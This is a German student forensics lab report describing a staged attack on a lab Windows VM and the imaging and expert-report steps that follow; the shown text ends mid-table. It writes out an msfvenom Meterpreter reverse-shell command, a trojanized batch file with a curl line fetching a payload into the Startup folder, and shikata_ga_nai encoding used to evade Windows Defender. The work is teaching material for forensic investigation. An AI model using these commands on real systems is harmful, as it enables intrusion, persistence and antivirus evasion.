Praktikumsaufgabe Sommersemester 2021 Forensik in Betriebs- und Anwendungssystemen. Erstellen eines Images und Nutzung der Windows-Forensik-Software

(1)

Praktikumsaufgabe Sommersemester 2021 Forensik in Betriebs- und Anwendungssystemen

„Erstellen eines Images und Nutzung der Windows-Fo- rensik-Software XWays,

Axiom, FTK, Encase zur Auswertung des Images“

eingereicht von:

Ladies-Group

(2)

Eingereicht am: 29.07.2021 Seite 2

von: Ladies-Group

1 Beschreibung des erdachten Szenarios

Der Mitarbeiter Max Mustermann ist neuer Mitarbeiter bei IT-Systeme GmbH. Er erhält am ersten Arbeitstag seinen Client (Opfer-Client) in Form einer virtuellen Desktopumgebung sowie einen USB-Stick für seine tägliche Arbeit. Den virtuellen PC richtet Herr Mustermann selbst mit notwendigen Anwendungen ein. Er nimmt Konfigurationen vor und legt Arbeitsverzeichnisse an. Weiterhin führt er notwendige Betriebssystem-Updates durch.

Nachdem er am ersten Tag mit seinen Kollegen ins Gespräch kam, unterstützen diese ihn bei der Einarbeitung durch die Bereitstellung von Dateien und Skripten für die tägliche Arbeit, die er sich von den Kollegen auf seinen USB-Stick kopieren lässt, um diese dann auf seinem virtuellen PC abzulegen. Darunter sind auch einige private Dateien. Herr Mustermann sieht die Da- teien auf seinem Client durch und sortiert sie ein. Unter den von den Kollegen bereitgestellten Dateien befinden sich auch das Skript „Virtuelles Laufwerk.bat“, das ein Trojaner ist.

Dieses Skript legt Max Mustermann legt er in den Autostart-Ordner seines virtuellen PCs. Ne- ben der nützlichen Funktion, automatisiert virtuelle Verzeichnisse beim Rechnerstart anzule- gen, enthält das Skript Schadcode, welcher die Adresse 10.10.10.3:80 aufruft, um eine Datei namens „evil.exe“ in das Autostartverzeichnis herunterzuladen. Die genannte Adresse ist in diesem Beispiel zwar eine interne Adresse, dient jedoch nur dem schematischen Aufbau dieses Szenarios und könnte auch eine externe Adresse außerhalb des Firmennetzwerkes sein. Von letzterem Fall soll im Folgenden ausgegangen werden.

Sobald der Opfer-Client erneut gestartet wird, wird nun die evil.exe aus dem Autostartver- zeichnis ausgeführt und öffnet eine Meterpreter-Shell gegenüber einem unbekannten Angrei- fer über das Internet. Der Angreifer ist hierdurch in der Lage über den Meterpreter alle Da- teien mit den Rechten von Max Mustermann einzusehen, zu ändern, zu löschen oder ander- weitig zu manipulieren. Weiterhin kann auf angeschlossene Peripherie, wie USB-Sticks, Web- Cams und Audioeingänge etc. zugegriffen werden. Auch ist es möglich Maus- oder Tastature- vents zu senden und den Opfer-Client per Bildschirmübertragung auszuspähen. Diese Aufzäh- lung ist nicht vollständig und nur exemplarisch. Die durch den Angreifer konkret durchgeführ- ten Aktionen werden im Abschnitt 2 detailliert beschrieben. Nach wiederholten Zugriffen mit dem Ziel, Informationen zu sammeln und sich auch somit auf diesem sowie ggf. weiteren Sys- temen zu persistieren, versucht der Angreifer die eigenen Spuren zwischenzeitlich zu verwi- schen.

(3)

Im Rahmen dessen wird ebenfalls die Datei „evil.exe“ erst in „happylittletrees.exe“, später aber dann in „devil.exe“ umbenannt. Auch die Datei „Virtuelles Laufwerk.bat“ wurde editiert, um „devil.exe“ anstatt der „evil.exe“ herunterzuladen.

Da der Windows Defender wiederholt den heruntergeladenen Meterpreter-Payload löscht und die für den Angriff benötigte Reverse-Shell für den Angreifer somit nicht verlässlich verfügbar ist, erzeugt der Angreifer im weiteren Verlauf einen zweiten Meterpreter-Payload mithilfe eines Encoders, damit der Windows Defender die Signatur des Meterpreters nicht mehr erkennt und folglich auch nicht mehr löscht. Anschließend experimentiert der Angreifer weiter und löscht final Daten, u. a. auch Arbeitsergebnisse von Max Mustermann.

Nachdem Max Mustermann seinem Vorgesetzten glaubhaft versichert, dass er die Arbeitser- gebnisse erstellt und auf seinem virtuellen Client abgelegt hat, diese aber auch nach ausdau- ernder Suche nicht auffindbar sind, soll ein möglicher Cyberangriff ausgeschlossen werden. Der Vorgesetzte bittet deshalb die IT-Abteilung, Images des virtuellen PCs und des USB-Sticks anzu- fertigen und diese zur forensischen Untersuchung an einen externen Dienstleister zu überge- ben.

(4)

von: Ladies-Group

2 Umsetzung des Szenarios und Erstellung der Images

Die Vorbereitung der individuellen Images für die Umsetzung des beschriebenen Szenarios wird im Folgenden unterteilt in die „Vorbereitung des USB-Images“ sowie die „Vorbereitung des Opfer-Client-Images“. Hierbei wird der besseren Übersicht halber zunächst mit dem hier- für vorbereiteten Angreifer-Client, dem Meterpreter-Payload und dem Trojaner begonnen. An- schließend wird die Verbreitung des Trojaners vom Angreifer über den USB-Stick bis hin zum Opfer-Client beschrieben.

2.1 Vorbereitung der Infrastruktur

Die Umsetzung des Szenarios umfasst mehr als nur die Vorbereitung des Opfer-Clients. Im We- sentlichen wird für die Umsetzung ein Angreifer-Client, der Opfer-Client und eine entsprechende Infrastruktur benötigt. Beide Clients sowie die Infrastruktur werden durch die Nutzung der Virtualisierungssoftware „VM VirtualBox“ von Oracle (VirtualBox) implementiert. Hierzu bedarf es der Installation der Software VirtualBox selbst und die anschließende Generierung von VDIs für Angreifer und Opfer. Für den Angreifer-Client wurde ein Kali-Linux-Image gewählt, welches vom Anbieter, Offensive Security, bereits für die Nutzung innerhalb von VirtualBox be- reitgestellt wird. Für den Opfer-Client wurde das Betriebssystem „Windows 10 Professional 64 Bit“ gewählt. Das diesbezügliche VirtualBox-Image musste hingegen erst erstellt werden.

Hierzu wurde die Installationsdatei zunächst heruntergeladen und mit dem „MediaCreation- Tool20H2“ eine ISO daraus erzeugt. Die ISO wurde anschließend als Bootmedium in die hierfür mit VirtualBox erstellte Virtuelle Maschine eingelegt und installiert.

Damit die Kommunikation beider Clients untereinander möglich war, wurde über das Com- mand Line Interface von VirtualBox zusätzlich ein DHCP Server auf dem Hostsystem erstellt.

Dessen Name ist „testlab“ unter der Gateway Adresse 10.10.10.1. Der Netzbereich wurde klein gehalten, da ohnehin nur zwei IP-Adressen benötigt wurden.

Abbildung (Szenario) 1: Konfiguration des Default Gateways

Im Anschluss wurden beide VDIs hinsichtlich ihrer Netzwerkkonfiguration angepasst. Beide er- hielten „testlab“ als internen Adapter. Somit konnten die VDIs während der Ausführung untereinander kommunizieren, aber nicht auf den Host zugreifen. Ein kurzer Test mittels Ping von Opfer-Client zum Angreifer-Client zeigte die erfolgreiche Verbindung an. Um keine Spuren aufgrund von Infrastrukturtests im Opfer-Client zu hinterlassen, wurde vor dem Test zunächst ein

(5)

Snapshot des VDI-Zustandes gemacht und der Opfer-Client nach Abschluss des Tests wieder auf den vorherigen Systemzustand zurückgesetzt.

Abbildung (Szenario) 2: Adapterkonfiguration

Somit liegen nun zwei nutzbare Basis-Clients samt der notwendigen Infrastruktur vor, um einen Angreifer sowie sein Opfer zu simulieren. Damit auch der Internetzugriff für die Installa- tion von Software innerhalb der Opfer-Client möglich ist, erhielt diese anschließend noch einen Nat-Adapter.

2.2 Vorbereitung des Angreifer-Clients

Als nächstes benötigte der Angreifer die Tools seiner Wahl, um seinen Angriff durchführen zu können. Für die Erstellung des Schadskripts sollte ein Metasploit-Payload genutzt werden. Be- reitgestellt wird dieser über einen Http-Server. Da Metasploit in Kali Linux bereits vorkonfiguriert vorhanden ist und ein Http-Server über das ebenfalls enthaltene Python erstellt werden kann, musste keine weitere Software installiert werden.

Abbildung (Szenario) 3: Konfiguration eines Http-Servers zum Netzwerktest

Zunächst wurde die Funktion des Http-Servers getestet. Über die Konsole wurde das Verzeich-

(6)

von: Ladies-Group

Im Opfer-Client wurde ein Browser geöffnet und 10.10.10.3:8000 abgerufen. Daraufhin zeigte der Browser über den echo-Befehl den Text „it works“ den Erfolg des Tests an. Die Bereitstel- lung des Metasploit-Payloads konnte somit prinzipiell per Download vom Angreifer System er- folgen. Im späteren Verlauf wird hierzu allerdings Port 80 verwendet.

Abbildung (Szenario) 4: Verbindungstest

Letztlich musste Metasploit vorkonfiguriert und ein Payload erzeugt werden. Über „sudo

„msfdb init“ wurde die notwendige PostgreSQL Datenbank initialisiert. Danach wurde über sudo „msfdb status“ der Status dieser geprüft. Auch die Verbindung zu dieser bei Ausführung von „msfconsole -q“ & dann „db_status“ funktionierte offenbar.

Abbildung (Szenario) 5: Prüfung der msfdb

Weiterhin war zu sehen, dass der Prozess scheinbar auf den Port 5432 horcht. Eine kurze Prü- fung über „netstat -lnt |grep 5432“ bestätigte dies (siehe Abbildung (Szenario) 6).

(7)

Abbildung (Szenario) 6: Portüberprüfung

Abschließend folgte die Erstellung des Payloads. „Msfvenom -list“ all |grep reverse zeigte alle verfügbaren Payloads für Reverse Shells an. Gewählt wurde dem Zielsystem entsprechend eine TCP Reverse Shell für Windows 64 Bit. Mit „msfvenom -p windows/x64/meterpreter_re- verse_tcp lhost=10.10.10.3 lport=4444 -f exe > evil.exe“ wurde der Payload auf die IP-Adresse des Angreifer-Clients und den zu nutzenden Port 4444 konfiguriert und in die Datei „evil.exe“

geschrieben. Diese Datei gilt es auf dem Opfer-Client zu platzieren. Wird sie ausgeführt, baut sie eine Reverse Shell gegenüber dem Angreifer-Client über dessen Port 4444 auf.

Abbildung (Szenario) 7: Erstellung des Meterpreter-Payloads

Für die Bereitstellung des Payloads gegenüber dem Opfer-Client wurde die evil.exe in das zuvor erstellte Verzeichnis „project“ verschoben, in welchem der SimpleHTTP-Server zuvor test- weise erzeugt wurde.

Abbildung (Szenario) 8 zeigt, wie es aussieht, wenn das Opfer auf den Http-Server, in diesem Fall über Port 89 zugreift und der Payload für die Reverse Shell heruntergeladen wird. Die Frage, wieso der Opfer-Client dies tun sollte, wird im Abschnitt 2.3. geklärt.

(8)

von: Ladies-Group

Abbildung (Szenario) 8: Download des Meterpreter-Payloads

Bis dato wurde ein entsprechender Payload erzeugt und die technische Übermittlung dessen sichergestellt. Sobald der Opfer-Client diesen Payload ausführt, öffnet er theoretisch eine Re- verse Shell zum Angreifer-Client. Damit diese auch praktisch genutzt werden kann, muss der Angreifer allerdings auch auf diese eingehende Shell lauschen. Da in der ersten Konsole der http-Server geöffnet ist und beobachtet wird, wird nun eine zweite Konsole benötigt, über die auf die eingehende Verbindung vom Opfer-Client gewartet wird. In dieser wird „msfconsole ausgeführt. Anschließend folgt die Konfiguration gemäß Abbildung (Szenario) 9.

Im Verlauf dieser wird wie bereits bei der Konfiguration des Payloads die Art der Reverse Shell, der Localhost und der zu nutzende lokale Port dessen, über welchen die Verbindung erwartet wird, konfiguriert. Abschließend wird der Exploit gestartet und auf die eingehende Verbindung gewartet.

Abbildung (Szenario) 9: Konfiguration des Listeners

Wie es aussieht, wenn der Opfer-Client den Payload final ausführt und die Verbindung eingeht, zeigt Abbildung (Szenario) 10.

(9)

Es wurde eine entsprechende Meterpreter-Session gestartet. Dies eröffnet die Möglichkeit für den Angreifer mit den Rechten des Nutzers, der die „evil.exe“ ausgeführt hat, Befehle auf dem Opfer-Client auszuführen. Zunächst lassen sich mit „?“ eine Reihe von Befehlen für den Meter- preter anzeigen. Die gewählten Befehle sowie der genaue Ablauf des Angriffes über die Re- verse Shell werden in Abschnitt 2.4 geschildert.

Zusammenfassend verfügt der Angreifer nun über zwei geöffnete Konsolenfenster. Im ersten läuft der Http-Server, über welchen die „evil.exe“ vom Opfer-Client selbst heruntergeladen wird. Über das zweite geht zum einen die Reverse Shell bei Ausführung der „evil.exe“ ein und wird zum anderen der Angriff ausgeführt.

Abbildung (Szenario) 10: Öffnung einer Meterpreter Reverse Shell

2.3 Vorbereitung des USB-Images

Aus Abschnitt 2.2 ist die Frage nach der Ursache, laut welcher das Opfer die „evil.exe“ herunterladen sollte offen. Es ist zweifelhaft, dass dieses ohne einen Anlass die Adresse

10.10.10.3:80 aufrufen wird, welche zum Download der „evil.exe“ führt. Aus diesem Grund wird im Rahmen der Erstellung des USB-Images ebenfalls ein Trojaner erstellt. Diesen erhält der neu eingestellte Max Mustermann neben ein paar anderen Hilfsskripts für die täglich Ar- beit angeblich ebenfalls von einem Kollegen, jedoch tatsächlich vom Angreifer. Abbildung (Sze- nario) 11 zeigt die Inhalte des USB-Sticks:

(10)

von: Ladies-Group

Max Mustermann lässt sich die Daten von Kollegen in einen übergeordneten Ordner

„DatenKollegen“ ablegen. Hauptsächlich interessant sind für ihn Anleitungen für die tägliche Arbeit im Ordner „Dokumentation“ sowie die Batch-Skripte im Ordner „Hilfsskripte“ für automatisierte Aufgaben, welche mit einem Tag Versatz hinzugefügt wurden. Neben diesen wurden ebenfalls ein paar private Bilder abgelegt. Für den Angriff sind lediglich die Skripte interessant.

„PCCleanupUtility.bat“, „PW_generator.bat“, „Website pinger.bat“ sind nützliche Hilfsfunktio- nen, die keinen Schadcode enthalten. Das gleiche könnte man von „Virtuelles Laufwerk.bat“

Abbildung (Szenario) 12: Virtuelles Laufwerk.bat

vermuten, handelte es sich hierbei nicht um besagten Trojaner.

Wie bei seinen anderen Kollegen erstellt das Skript aus zuvor bereits bestehenden Ordnern

„ServiceA“, „ServiceB“ und „Organisatorisches“, wie sie auf den Clients aller Kollegen vorlie- gen, virtuelle Laufwerke, welche für die tägliche Arbeit besonders frequent genutzt werden.

Allerdings wurde das Skript vom Angreifer mit einer zusätzlichen Codezeile erweitert. Mittels eines curl-Befehls lädt das Skript auch die „evil.exe“ aus herunter und legt sie zudem direkt im Autostart-Verzeichnis ab.

2.4 Vorbereitung des Opfer-Client-Images

Die Vorbereitung des Opfer-Client-Images besteht aus drei Teilen. Der erste Teil beschäftigt sich mit der Einrichtung des Clients. Max Mustermann hat seinen Arbeits-PC kurz nach seiner Einstellung erhalten. Kurz darauf wird er für den Internetzugriff freigeschalten. Dies wird über das Hinzufügen eines weiteren Netzwerkadapters mit der Einstellung NAT in VirtualBox umge- setzt. Daraufhin folgt das Herunterladen von Software wie Microsoft Visual Studio Code, Adobe Reader, Google Chrome, Notepad++ etc.), die Anlage von Verzeichnissen sowie die Ge- nerierung von Daten für die tägliche Arbeit (siehe Abbildung (Szenario) 13).

subst y: "%USERPROFILE%\ServiceA"

subst x: "%USERPROFILE%\ServiceB"

subst z: "%USERPROFILE%\Organisatorisches"

curl --output "C:\Users\VictimClient\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\evil.exe" --url http://10.10.10.3/evil.exe

(11)

Abbildung (Szenario) 13: Verzeichnisse des Opfer-Clients

Der zweite Teil ist die Infektion des Opfer-Clients mit dem Trojaner. Max Mustermann erhält nach eigener Aussage von seinen Kollegen die in Absatz 2.2 beschriebenen Dateien auf dem USB-Stick. Einen Tag später befinden sich darunter auch die Hilfsskripte, unter welchen sich der Trojaner befindet. Wie von einem Kollegen empfohlen, legt er die „Virtuelles Lauf- werk.bat“ direkt in den Autostart-Ordner, da diese die gewünschten virtuellen Laufwerke lei- der nur temporär anlegt und sie jeweils nach dem Neustart des Clients nicht mehr verfügbar sind. Deshalb soll die „Virtuelles Laufwerk.bat“ als Autostart-Skript täglich beim Hochfahren des Clients erneut ausgeführt werden. Dies verursacht, dass auch beschriebener curl-Befehl täglich ausgeführt wird und die „evil.exe“ erneut in den Autostart geladen wird, sollte sie ge- löscht worden sein.

Nachdem auch die „evil.exe“ nach dem ersten Neustart nach Ablage des Skriptes „Virtuelles Laufwerk.bat“ im Autostart-Ordner liegt, wird sie entsprechend ebenfalls ausgeführt. Max Mustermann bemerkt danach wiederholte Warnmeldungen des Windows Defenders, die er durch wiederholte Abschaltung jeglicher Scans zu beheben versucht. Auch des Whitelistens der gemeldeten „evil.exe“ versucht er sich mehrfach. Tatsächlich ist Max Mustermann selbst der Mittäter, der bemüht ist den Windows Defender zu umgehen, um einem Dritten weiteren Zugang zu verschaffen. Im Verlauf der nächsten Tage führt Max Mustermann sowohl die „Vir- tuelles Laufwerk.bat“ wie auch die „evil.exe“ selbst aus, da letztere trotz der Deaktivierung

(12)

von: Ladies-Group

Der Angriff geschieht schließlich am 19.06.21. Der Angreifer führt im Rahmen dessen zunächst Befehle zur Informationssuche aus. Er lässt sich die Untätigkeitsdauer des Opfersystems ausgeben, (Befehl: idletime), um möglichst unbemerkt zu bleiben. Anschließend lässt er sich gene- relle Systeminformationen (Befehl: sysinfo), Netzwerkkonfiguration ausgeben (Befehle: ipcon- fig, netstat, arp, getproxy) um weitere Verbindungen und Systeme zu identifizieren. Danach lässt er sich die verfügbaren Laufwerke ausgeben (Befehl: show_mount), die er bei seiner weiteren Suche und Persistierung im System beachten muss. Auch ermittelt er mittels des vBe- fehls „Webcam_list“, dass es keine Webcam gibt, über welche er zusätzliche Informationen über das Umfeld seines Opfers sammeln könnte. Weiterhin sucht er sensitive Informationen, indem er sich aktuell laufende Prozesse ausgeben lässt (Befehl: ps), Tonaufnahmen über das Standardmikrofon macht (Befehl: reord_mic) sowie dem Max Mustermann per Screenshare bei seinen Tätigkeiten zusieht (Befehl: screenshare). Der Täter findet nicht viel, da das System erst kürzlich aufgesetzt wurde. Doch die Ordner, die nach seiner Meinung nach vom Standard unter Windows abweichen, lädt er sich herunter (Befehl: download).

Am folgenden Tag benennt er „evil.exe“ zur Verschleierung zuerst in „devil.exe.exe“ um, ent- scheidet sich aber final für den Namen für „devil.exe“, unter welchem Namen das Skript nun täglich heruntergeladen wird. Letzteres erreicht er mittels Anpassungen innerhalb der Datei

„Virtuelles Laufwerk.bat“.

Der Windows Defender bleibt ein Hindernis für die Persistierung der „devil.exe“, da er diese nach jedem Download erneut löscht. Daher generiert der Angreifer einen neuen Meterpreter- Payload „devil.exe“ mit den zusätzlichen Optionen „-i 3 -e x86/shikata_ga_nai –format=exe >“, welche ein dreifaches Encodieren des neuen Payloads über den Decoder „Shikata_ga_nai“ be- wirken. Dies verursacht, dass der Windows Defender die für den Meterpreter typische Signatur nicht erkennt. Die „devil.exe“ spielt der Angreifer Max Mustermann anschließend zu und er- probt seine weiteren Möglichkeiten mit dem Meterpreter über weitere Remote Shells, u. a.

löscht er final die am 21.06.2021 vermissten Ordner von Max Mustermann.

2.5 Forensische Datensicherung

Nach Abschluss der Image-Erstellung müssen schließlich forensische Images aus diesen erzeugt werden. Hierzu wurde der FTK Imager in Version 4.5.0.3 von AccessData verwendet. Dieser wurde auf dem Host-System gestartet und zum Einlesen des USB-Sticks die Option „File“ ->

„Create Disk Image“ gewählt. Danach wird der USB-Stick im Menü als „Physisches Laufwerk“

ausgewählt. Innerhalb des sich öffnenden Fensters ist es möglich, zeitgleich zwei forensische Images der gleichen Konfiguration von derselben Quelle zu erstellen, anstatt nur ein

(13)

forensisches Image zu erzeugen. Das ist insofern attraktiv, als das vom vorerst erzeugten Mas- ter Image keine zweite Working Copy erstellt werden muss. Beide können gleichzeitig generiert werden. Der Master wird archiviert und die Arbeitskopie für die forensische Analyse verwendet. Diese Strategie wurde dementsprechend angewendet. Das Format der erstellten Images ist Raw(dd). Abbildung (Szenario) 14 zeigt exemplarisch die gewählte Beschriftung des forensischen „Master“ Images auf Metadatenebene, die zur Dokumentation der Beweiserfas- sung referenziert werden.

Abbildung (Szenario) 14: Beschriftung des Images anhand der Metadaten

Eine Zusammenfassung aller Metadaten, somit neben den selbst gewählten auch die Anzahl, der zu einem forensischen Image gehörenden Fragmente, sowie unter anderem die zugehörige MD5 & SHA Hashsumme zur Integritätssicherung, werden durch FTK Imager bei der Generie- rung neben den Image Fragmenten am gewählten Zielort innerhalb einer Textdatei abgelegt.

Weiterhin dokumentiert diese Textdatei den Zeitpunkt der Erfassung und physikalische Refe- renzdaten des Datenträgers. Für die bessere Strukturierung der Datenablage bezüglich des Falls wurde sich für die Benennung <Fallnummer>-<Datum der Akquisition>-Master & <Fall- nummer>-<Datum der Akquisition> für Master und Arbeitskopie entschieden. Der USB-Stick hat im Fall 001 die Asservatennummer „001“ erhalten. Somit sind ihm die Images „001- 20210525-Master“ & „001-20210525“ zuzuordnen. Die Dateiendungen nummerischen Datei- endungen oberhalb der Textdatei in Abbildung (Szenario) 15 listen die Fragmente des Images in Speicherreihenfolge auf.

(14)

von: Ladies-Group

Abbildung (Szenario) 15: Fragmente und Metadaten-Textdatei zu Asservat 001

Im Gegensatz zum USB-Stick wurde das forensische Image des Opfer-Clients mittels Live-Ak- quise erstellt. Der Grund hierfür liegt darin begründet, dass aus der VDI mittels FTK Imager auch nach mehrmaligen Versuchen kein brauchbares forensisches Image aus der zugelieferten VDI erzeugt werden konnte.

Die Live-Akquise bietet darüber hinaus keine weiteren Vorteile für die Analyse des Opfer-Cli- ents, da der Nutzer diesen heruntergefahren hatte. Somit ist keine Analyse des Arbeitsspei- chers in Folge des Angriffes möglich.

Darüber hinaus ist es der Größe des zu erzeugenden Images geschuldet, dass es toleriert werden musste, dass eine weitere Softwareinstallationen auf dem Opfer-Client die Integrität der Beweise gefährdet. Es stellte sich heraus, dass die für die forensische Analyse in der Arbeits- gruppe verfügbaren Datenträger zu klein bemessen waren. Ein professioneller Forensiker würde natürlich für diesen Fall mit Datenträgern ausreichender Kapazität ausgestattet sein, was für die Arbeitsgruppe nicht der Fall war, weshalb es notwendig wurde, Gasterweiterungen innerhalb der VDI des Opfer-Clients zu installieren. Mit Hilfe dieser wurde das Image auf ein in die VDI gemountetes Verzeichnis des Host-Systems gespeichert. Zudem war die Installation von FTK Imager innerhalb der FDI notwendig. Initial sollte dessen portable Version „Imager Lite“ in Version 3.1.1 über einen USB-Stick verwendet werden, um möglichst keine Daten auf dem Opfer-Client zu ändern. Doch auch wenn der Imager Lite mit Administrationsrechten aus- geführt wurde, wurde er dennoch durch die Benutzerkontensteuerung geblockt (siehe Abbil- dung (Szenario) 16). Die Ursache hierfür konnte nicht gefunden werden.

(15)

Abbildung (Szenario) 16: Blockierung von Imager Lite durch die Benutzerkontensteuerung

Abschließend liegen vier forensische Images für den Fall 001 vor, eine Master- und eine Ar- beitskopie für Beweisstück 001, den USB-Stick, und für Beweisstück 002, den Opfer-Client-PC.

Die Images des Opfer-Clients werden zwangsläufig Spuren der Akquise aufweisen, da allerdings das Untersuchungsobjekt selbst eine VDI ist, ist das Originalasservat keinen physischen Ver- fallserscheinungen ausgesetzt. Von diesem wurden als Kompromiss weitere Kopien als Backup und eine Hashsumme zur Integritätsprüfung erzeugt.

(16)

von: Ladies-Group

3 Abbildungsverzeichnis

Abbildung (Szenario) 1: Konfiguration des Default Gateways ... 4

Abbildung (Szenario) 2: Adapterkonfiguration... 5

Abbildung (Szenario) 3: Konfiguration eines Http-Servers zum Netzwerktest ... 5

Abbildung (Szenario) 4: Verbindungstest... 6

Abbildung (Szenario) 5: Prüfung der msfdb ... 6

Abbildung (Szenario) 6: Portüberprüfung ... 7

Abbildung (Szenario) 7: Erstellung des Meterpreter-Payloads ... 7

Abbildung (Szenario) 8: Download des Meterpreter-Payloads ... 8

Abbildung (Szenario) 9: Konfiguration des Listeners ... 8

Abbildung (Szenario) 10: Öffnung einer Meterpreter Reverse Shell ... 9

Abbildung (Szenario) 11: Erstellung der Daten auf dem USB-Stick ... 9

Abbildung (Szenario) 12: Virtuelles Laufwerk.bat ... 10

Abbildung (Szenario) 13: Verzeichnisse des Opfer-Clients ... 11

Abbildung (Szenario) 14: Beschriftung des Images anhand der Metadaten... 13

Abbildung (Szenario) 15: Fragmente und Metadaten-Textdatei zu Asservat 001 ... 14

Abbildung (Szenario) 16: Blockierung von Imager Lite durch die Benutzerkontensteuerung .... 15

(17)

Gutachten

im Auftrag des Unternehmens

IT-Systeme GmbH

Musterstraße 1 12345 Musterstadt

Erstellt von IT-Forensik-Team:

Ladies-Group

Abschluss: 29.07.2021

(18)

Kontaktdaten IT-Forensik-Team: Ladies-Group Seite 2

Inhalt

1 Auftragsspezifikation ... 4

2 Untersuchungsobjekte ... 5

3 Untersuchungswerkzeuge, -ablauf und -methodik ... 5

3.1 Untersuchungswerkzeuge ... 5

3.2 Untersuchungszeitraum... 5

3.3 Untersuchungsmethodik ... 6

4 Untersuchung der Asservate ... 7

4.1 Forensische Datenaufbereitung ... 7

4.2 Forensische Datenanalyse ... 7

4.2.1 Asservat 1 – Image USB-Stick ... 7

4.2.2 Asservat 2 – Image virtueller PC ... 13

5 Untersuchungsergebnisse ... 20

5.1 Untersuchungsergebnisse – Timeline... 20

5.1.1 Timeline-Teil 1 – Schadcode gelangt auf den virtuellen PC (Asservat 2) ... 20

5.1.2 Timeline-Teil 2 – Schadcode wird auf virtuellem PC (Asservat 2) ausgeführt – Virenscanner erkennt und entfernt Schadcode... 21

5.1.3 Timeline-Teil 3 – Schadcode wird nicht mehr durch Virenscanner erkannt – Angriff gelingt ... 22

5.2 Untersuchungsergebnisse – inhaltliche Feststellungen ... 23

5.2.1 Asservat 1 – Image USB-Stick ... 23

5.2.2 Asservat 2 – Image virtueller PC ... 24

6 Anlagen ... 27

6.1 Chain-of-custody-Formulare ... 27

6.1.1 Asservat 1 ... 27

6.1.2 Asservat 2 ... 30

6.2 Anlagen zu Untersuchung Asservat 1 ... 33

6.3 Anlagen zu Untersuchung Asservat 2 ... 40

7 Abbildungsverzeichnis ... 47

(19)

8 Tabellenverzeichnis ... 48 9 Literaturverzeichnis ... 48

(20)

1 Auftragsspezifikation

Das Unternehmen IT-Systeme GmbH hat das IT-Forensik-Team mit der Auswertung zweier Images beauftragt und bittet um Abgabe eines Gutachtens bis zum 30.07.2021.

Anlass der Beauftragung und damit der forensischen Untersuchung ist der Hinweis auf einen Informationssicherheitsvorfall, der durch den Vorgesetzten von Max Mustermann, ein Mitar- beiter des Unternehmens IT-Systeme GmbH, festgestellt wurde.

Die Auffälligkeiten begannen am 16.05.2021, am 25.05.2021 ließ der Netzwerkadministrator deshalb bereits durch einen Forensik-Spezialisten ein forensisches Image des USB-Sticks erstellen.

Ein möglicher Datenverlust und somit eine mögliche Manipulation durch Dritte wurde am 21.06. 2021 durch Max Mustermann, tätig unter dem Benutzerkonto „VictimClient“, bemerkt.

Seit mehreren Monaten arbeitete Max Mustermann an einem Projekt und speicherte seine Ar- beitsergebnisse im Ordner „für Eigene Unterlagen. Am 21.6.2021 konnte er seinem Vorgesetz- ten auf Nachfrage keine Ergebnisse liefern. Er behauptete, der Ordner "Für EIgene Unterlagen"

und die „Kundenliste.ods“ sei am 21.06.2021 nicht mehr an den erwarteten Orten auf der Fest- platte vorhanden gewesen.

Es besteht der Verdacht, dass der Computer angegriffen worden sein könnte und Dateien und Ordner manipuliert bzw. Daten abgeflossen sein könnten. Logdateien konnte der Netzwerkad- ministrator nicht beisteuern. Der aufgetretene unübliche Datenverkehr sei stets, sehr kurz und zu unterschiedlichen Zeiten aufgekommen. Aufgrund der geltenden Datenschutzvorschriften war es diesem weiterhin nicht erlaubt, dass Logging zu erweitern und ohne konkreten Ver- dacht zwischenzuspeichern.

Am 28.06.2021 wurde deshalb der Forensik-Spezialist erneut beauftragt, um auch ein forensisches Image des virtuellen PCs von Max Mustermann zu erstellen.

Das Unternehmen IT-Systeme GmbH bittet das IT-Forensik-Team um eine IT-forensische Unter- suchung, um zu klären, ob ein Cyberangriff stattgefunden hat und Dateien gelöscht oder an- derweitig kompromittiert wurden. Dazu übergibt die Fa. IT-Systeme GmbH dem IT-Forensik- Team die vom Netzwerkadministrator angefertigten Images des USB-Sticks und des virtuellen PCs, die beide von Max Mustermann genutzt wurden bzw. werden.

(21)

2 Untersuchungsobjekte

Die Untersuchung fand im Zeitraum 06.06.2021 bis 21.06.2021 statt. Bei den Untersuchungs- objekten handelt es sich um folgende Datenträger, die dem IT-Forensik-Team zur Untersu- chung übergeben wurden.

Asservat-Nr. Art des Asservates Seriennummer Name des Asservates

Asservat-01 Image USB-Stick AA3CBDEF 001-20210525.001

Asservat-02 Image virtueller PC B8908E9F 002-20210628.001

Tabelle 1: Übersicht der Asservate

Die Übergabe der Datenträger wurde auf dem Chain-of-Custody-Formular dokumentiert (siehe Anlage 6.1).

3 Untersuchungswerkzeuge, -ablauf und -methodik

3.1 Untersuchungswerkzeuge

Die übergebenen Asservate wurden mittels folgender Forensik-Software, die auf zwei Standa- lone-PCs des Forensik-Teams installiert wurde, verarbeitet und analysiert:

Name Hersteller Version Funktion

Magnet AXIOM Magnet Forensics, Inc.

5.1.0.24999 Forensische Datenanalyse der Images der Asservate

Tabelle 2: Untersuchungswerkzeuge

Magnet Axiom ist grundsätzlich geeignet, die übergebenen Asservate gerichtsfest zu verarbei- ten und auszuwerten.

3.2 Untersuchungszeitraum

Datum der Auftragserteilung: 28.06.2021

Untersuchungszeitraum: 28.06.2021 – 29.07.2021

Zeitsynchronisation Zeitzone UTC + 1:00 in Magnet AXIOM Examine eingestellt

Tabelle 3: Untersuchungszeitraum

(22)

3.3 Untersuchungsmethodik

Zur Sicherstellung einer gerichtsverwertbaren, d. h. einer glaubwürdigen, objektiven, nachvoll- ziehbaren und reproduzierbaren Untersuchung wurde nach dem SAP-Modell (Secure-Analyse- Present-Modell) vorgegangen:

Secure:

Die Übergabe und Weitergabe der Images an das Forensik-Team bzw. im Forensik-Team wurde im Chain-of-Custody-Formular dokumentiert.

Die übergebenen Images wurden kopiert, so dass je eine Master- und eine Work-Copy zur Ver- fügung stand, wobei die Work-Copy zur Analyse durch die Software Magnet AXIOM genutzt wurde, wogegen die Master-Copy als Sicherheitskopie diente, die den unveränderten Stand der übergebenen Images darstellt. Für alle Kopien wurden die Hashsummen gebildet und mit den Hashsummen der übergebenen forensischen Images verglichen, um die Integrität der Da- ten über den gesamten Untersuchungszeitraum sicherzustellen. Der Vergleich ergibt, dass die Checksummen der Originalimages mit denen der Arbeitskopien übereinstimmen, d. h. die Images können zur weiteren Analyse genutzt werden.

Image (Work copy)

Hashwert (übergebenes Image) Hashwert nach Herstellen der Arbeitskopie

001-

20210525.001

MD5 checksum:

e3a89341d8bc256e4d29267f1e3940b3 SHA1 checksum:

ca8a19e922b17860504f78759a567965f683408 c

MD5 checksum:

